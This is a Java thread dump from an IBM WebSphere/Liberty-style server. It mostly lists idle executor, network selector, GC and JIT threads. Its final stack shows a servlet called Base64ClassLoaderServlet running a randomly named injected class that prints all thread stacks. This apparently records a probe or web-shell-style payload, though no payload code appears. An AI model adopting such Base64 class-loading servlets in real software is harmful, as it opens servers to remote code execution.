at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"process reaper" #70 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@cad8ce67
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"GC Worker" #17 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"GC Daemon" #95 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@e617ce91
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at sun.misc.GC$Daemon.run(GC.java:117)
"IProfiler" #11 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"kernel-command-listener" #35 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:330)
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.startListening(ServerCommandListener.java:315)
at com.ibm.ws.kernel.launch.internal.FrameworkManager$4.run(FrameworkManager.java:763)
"JIT Compilation Thread-006 Suspended" #8 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-22" #92 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@9bfe06bd
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"SCR Component Actor" #43 daemon [WAITING] on java.util.LinkedList@b0dd8875
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83)
at java.lang.Thread.run(Thread.java:823)
"VM Runtime State Listener" #12 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"GC Worker" #22 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Outbound Write Selector.1" #103 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-18" #74 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@7aced195
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"JIT Compilation Thread-000" #2 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-14" #67 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fb9e8ea9
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"GC Worker" #16 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Framework Event Dispatcher: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #33 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@72a8558c
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341)
"Connect Selector.1" #104 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-10" #63 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c1a9f9d9
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Inbound Read Selector.1" #98 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-1" #49 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@60c57330
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #41 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"UniqueKeyRangeManager" #80 daemon [WAITING] on java.util.LinkedList@25e7f88d
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager.run(UniqueKeyRangeManager.java:327)
at java.lang.Thread.run(Thread.java:823)
"FlushHelper" #77 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$FlushHelper@3cc78174
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at com.ibm.ws.objectManager.FileLogOutput$FlushHelper.run(FileLogOutput.java:2535)
at java.lang.Thread.run(Thread.java:823)
"Finalizer thread" #27 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Outbound Read Selector.1" #102 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"GC Worker" #15 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"reaper logger" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8964baba
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.take(ZipFileReaper.java:256)
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.run(ZipFileReaper.java:228)
at java.lang.Thread.run(Thread.java:823)
"GC Worker" #23 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"sib.SpillDispatcher-77EB184637998288-4" #85 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@674f9587
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-8" #58 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@1fb00692
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"JIT-SamplerThread" #10 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
"JIT Compilation Thread-005 Suspended" #7 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Inbound Read Selector.1" #60 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"CheckpointHelper" #78 daemon [WAITING] on com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper@3ea76d33
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper.run(ObjectManagerState.java:3189)
at java.lang.Thread.run(Thread.java:823)
"Scheduled Executor-thread-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c2eb9cd2
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-4" #52 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d7d7afd1
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Timer-2" #42 daemon [WAITING] on java.util.TaskQueue@162ffd
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at java.util.TimerThread.mainLoop(Timer.java:526)
at java.util.TimerThread.run(Timer.java:505)
"Default Executor-thread-2" #50 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@676d8cc
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-19" #75 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@e0a3ff72
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"GC Worker" #14 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-3" #51 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a3711e05
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-11" #64 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@38b59c87
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-7" #57 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f6ca258c
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"GC Worker" #19 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-15" #68 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6e18332b
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Inbound Write Selector.1" #61 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"sib.SpillDispatcher-77EB184637998288-7" #88 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@4a9590e
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"Inbound Read Selector.1" #71 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-5" #53 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@65df54b7
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-21" #90 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c3a74ae8
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"GC Worker" #21 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Executor Service Control Timer" #46 daemon [TIMED_WAITING] on java.util.TaskQueue@e7d6b3e3
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:552)
at java.util.TimerThread.run(Timer.java:505)
"Timer-0" #28 [TIMED_WAITING] on java.util.TaskQueue@886996f7
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:552)
at java.util.TimerThread.run(Timer.java:505)
"System defaultME : 1" #93 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@add360a4
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:333)
at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:801)
at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:899)
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1676)
"Thread-23" #96 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:125)
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:171)
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:31)
at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:35)
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"ClassloaderMapProcessingThread-32" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e810209
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"zip file reaper" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a72a603
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:1226)
at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:442)
at java.lang.Thread.run(Thread.java:823)
"JIT Compilation Thread-002 Suspended" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-13" #66 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@9e731452
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-12" #65 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@307f9494
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-6" #55 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.getStackTrace(Thread.java:1165)
at java.lang.Thread.getAllStackTraces(Thread.java:1193)
at org.apache.ETnOi.ErrorHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:3470)
at java.io.PrintWriter.print(PrintWriter.java:617)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1230)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:729)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:426)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:182)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93)
